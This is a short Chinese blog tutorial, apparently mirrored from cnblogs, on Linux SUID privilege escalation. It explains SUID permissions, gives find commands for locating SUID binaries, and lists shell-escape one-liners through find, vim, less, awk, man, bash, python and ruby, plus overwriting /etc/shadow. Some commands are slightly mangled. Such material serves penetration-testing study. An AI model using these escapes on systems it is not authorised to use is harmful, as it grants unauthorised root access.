zoukankan      html  css  js  c++  java
  • linux提权——suid提权

    linux提权——suid提权

    基础知识

    suid权限介绍:

    SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

    suid权限的特点:

    1. SUID只对可执行的二进制文件起作用,shell脚本设置后不生效。
    2. 如果设置了其suid后,其属主位的可以执行权限x会变成s(小写),如果是大写S 那么说设置的文件没有可执行权限,设置的SUID无效。
    3. SUID对目录设置无意义。

    SUID设置方法:

    chmod u+s file   #字母设置方式
    chmod u-s file   #取消SUID
    chmod 4755 file  #数字设置方式
    chmod 0755 file  #取消SUID
    

    查找具有suid权限的文件

    #以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000-print2>/dev/null
    find / -user root -perm -4000-exec ls -ldb {} ;
    

    利用方式

    Find命令

    sudo find . -exec /bin/sh ; -quit
    

    chmod命令

    sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
    

    ash、linux shell

    sudo ash
    

    cp命令

    sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
    

    vim

    vim.tiny
    # Press ESC key
    :set shell=/bin/sh
    :shell
    

    less/more

    less /etc/passwd
    !/bin/sh
    

    bash

    bash -p
    

    awk

    awk 'BEGIN {system("/bin/bash")}'
    

    mv

    #使用mv 覆盖 /etc/shadow 或者/etc/sudoers
    

    man

    man passwd
    !/bin/bash
    

    python

    import os
    os.system("/bin/bash")
    

    ruby

    exec "/bin/bash";
    
  • 相关阅读:
    GDI+ 实现透明水印和文字
    delphi调用LUA函数来处理一些逻辑
    Delphi 不使用自带模板创建服务
    Delphi在Listview中加入Edit控件
    中文转码器的工作原理_delphi教程
    使用钩子函数[6]
    简单全局HOOK拦截大部分键盘消息
    4个字节就相当于移动一位,原来指针是这样用的
    C#调用Delphi接口(ITest = interface)
    DELPHI 对象的本质 VMT
  • 原文地址:https://www.cnblogs.com/tomyyyyy/p/14659298.html
Copyright © 2011-2022 走看看